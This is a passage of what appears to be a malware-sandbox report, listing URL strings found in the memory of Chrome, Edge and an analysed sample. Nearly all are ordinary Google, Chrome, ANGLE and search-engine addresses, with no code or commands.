Source: chrome.exe, 00000003.00000002.2326498429.000061440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000003.00000002.2323747855.000061440008C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chromecache_84.5.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_84.5.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chrome.exe, 00000003.00000002.2326498429.000061440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 00000003.00000002.2326498429.000061440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 00000003.00000002.2326498429.000061440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 00000003.00000002.2326099586.00006144001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899t
Source: chrome.exe, 00000003.00000003.2244575752.000061440133C000.00000004.00000800.00020000.00000000.sdmp, chromecache_84.5.dr, chromecache_80.5.dr	String found in binary or memory: https://apis.google.com
Source: chrome.exe, 00000003.00000002.2323666883.0000614400070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2338560601.00006144009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2342496502.0000614400F30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes
Source: msedge.exe, 00000007.00000002.2339753928.000001F50C180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comse
Source: chrome.exe, 00000003.00000002.2336044204.0000614400734000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340877127.0000614400CB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2333800343.00006144004FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.2340229999.0000614400BBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: I43xo3KKfS.exe, 00000000.00000003.2314227766.0000000000962000.00000004.00000020.00020000.00000000.sdmp, FBAFIIJK.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 00000003.00000002.2340377492.0000614400BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000003.00000002.2340377492.0000614400BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: I43xo3KKfS.exe, 00000000.00000003.2314227766.0000000000962000.00000004.00000020.00020000.00000000.sdmp, FBAFIIJK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chrome.exe, 00000003.00000002.2340137493.0000614400B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search
Source: chrome.exe, 00000003.00000002.2340137493.0000614400B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 00000003.00000002.2340137493.0000614400B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: I43xo3KKfS.exe, 00000000.00000003.2314227766.0000000000962000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2332741937.000061440040C000.00000004.00000800.00020000.00000000.sdmp, FBAFIIJK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000003.00000003.2221015209.0000614400C74000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2343401477.00005D380018C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000003.00000002.2335153797.0000614400694000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 00000003.00000002.2340877127.0000614400CB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2339101355.0000614400A20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2337988702.0000614400994000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2334576140.000061440061C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2339850181.0000614400B40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2335918604.0000614400714000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000003.00000002.2339850181.0000614400B40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en%G
Source: chrome.exe, 00000003.00000002.2335153797.0000614400694000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreDa
Source: chrome.exe, 00000003.00000003.2226362763.0000614400480000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2227134663.0000614400D98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2220861532.0000614400480000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2226383442.0000614400C74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2224811522.0000614400D98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247165291.0000614400C84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2221015209.0000614400C74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000003.00000002.2323148369.00002B140078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247728944.00002B140080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2213860449.00002B140039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2213676484.00002B1400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000003.00000002.2323148369.00002B140078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247728944.00002B140080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2213860449.00002B140039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2213676484.00002B1400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000003.00000002.2323148369.00002B140078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 00000003.00000002.2323148369.00002B140078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2214066479.00002B1400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2247728944.00002B140080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2213860449.00002B140039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2213676484.00002B1400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000003.00000002.2326498429.000061440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 00000003.00000002.2326498429.000061440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 00000003.00000002.2323497425.000061440001C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2343401477.00005D380018C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000003.00000002.2342374190.0000614400EE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/
Source: chrome.exe, 00000003.00000002.2326099586.00006144001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 00000003.00000002.2326099586.00006144001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/g
Source: chrome.exe, 00000003.00000003.2209978254.00007808002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209990576.00007808002E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000003.00000002.2334708280.0000614400669000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2334576140.000061440061C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2342674066.00005D3800044000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 00000003.00000002.2337094219.000061440086C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=b
Source: chrome.exe, 00000003.00000002.2337094219.000061440086C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=baD
Source: chrome.exe, 00000003.00000002.2337094219.000061440086C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b
Source: chrome.exe, 00000003.00000002.2336044204.0000614400734000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b
Source: chrome.exe, 00000003.00000002.2326099586.00006144001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 00000003.00000002.2326099586.00006144001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chromecache_84.5.dr	String found in binary or memory: https://clients6.google.com
Source: chrome.exe, 00000003.00000002.2334576140.000061440061C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: chromecache_84.5.dr	String found in binary or memory: https://content.googleapis.com
Source: chrome.exe, 00000003.00000002.2341929404.0000614400E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/clientupdate-aus/1
Source: chrome.exe, 00000003.00000002.2341929404.0000614400E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/clientupdate-aus/19FDa
Source: chrome.exe, 00000003.00000002.2341812541.0000614400E1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/cdt1
Source: chrome.exe, 00000003.00000002.2341812541.0000614400E1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/cdt1Cross-Origin-Opener-Policy:
Source: chrome.exe, 00000003.00000002.2341812541.0000614400E1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/cdt1rj
Source: chrome.exe, 00000003.00000002.2341812541.0000614400E1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/cdt1
Source: chrome.exe, 00000003.00000002.2339364825.0000614400A7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/none
Source: chrome.exe, 00000003.00000002.2331892224.0000614400308000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.
Source: chrome.exe, 00000003.00000003.2217101279.00006144004AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 00000003.00000002.2333224749.0000614400474000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.2336658013.00006144007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336609043.00006144007BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2334527036.000061440060C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2333587069.00006144004C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.2336658013.00006144007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336609043.00006144007BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340229999.0000614400BBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2333587069.00006144004C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.2336658013.00006144007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336609043.00006144007BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340229999.0000614400BBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2333587069.00006144004C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000003.00000002.2333224749.0000614400474000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.2336044204.0000614400734000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340877127.0000614400CB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2333800343.00006144004FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 00000003.00000002.2333224749.0000614400474000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.2336044204.0000614400734000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340877127.0000614400CB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2333800343.00006144004FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.2340877127.0000614400CB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actionsSB
Source: I43xo3KKfS.exe, I43xo3KKfS.exe, 00000000.00000003.2144088459.0000000002490000.00000004.00001000.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2466911293.00000000023B0000.00000040.00001000.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmp, I43xo3KKfS.exe, 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_84.5.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: chrome.exe, 00000003.00000003.2217101279.00006144004AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 00000003.00000003.2217101279.00006144004AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000003.00000002.2331892224.0000614400308000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.c
Source: chrome.exe, 00000003.00000003.2217101279.00006144004AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000003.00000003.2217101279.00006144004AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000003.00000002.2331892224.0000614400308000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googl
Source: chrome.exe, 00000003.00000003.2217101279.00006144004AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000003.00000003.2217101279.00006144004AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000003.00000002.2331892224.0000614400308000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 00000003.00000003.2217101279.00006144004AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000003.00000002.2331892224.0000614400308000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 00000003.00000003.2217101279.00006144004AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000003.00000003.2226782286.000061440120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
